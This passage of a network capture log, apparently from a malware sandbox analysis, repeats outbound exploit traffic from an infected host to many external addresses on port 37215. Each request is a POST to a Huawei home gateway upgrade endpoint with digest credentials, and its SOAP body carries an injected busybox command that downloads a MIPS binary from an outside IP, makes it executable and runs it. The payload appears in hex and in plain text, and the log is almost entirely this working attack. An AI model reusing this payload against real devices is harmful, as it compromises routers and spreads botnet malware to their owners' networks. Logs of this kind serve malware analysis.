4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:53.244558096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:57.148531914 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:04.576586962 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	33396	154.214.76.238	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:55.449044943 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	45730	156.247.23.28	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:56.765095949 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:58.332513094 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:00.188576937 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:04.060699940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:11.484529972 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

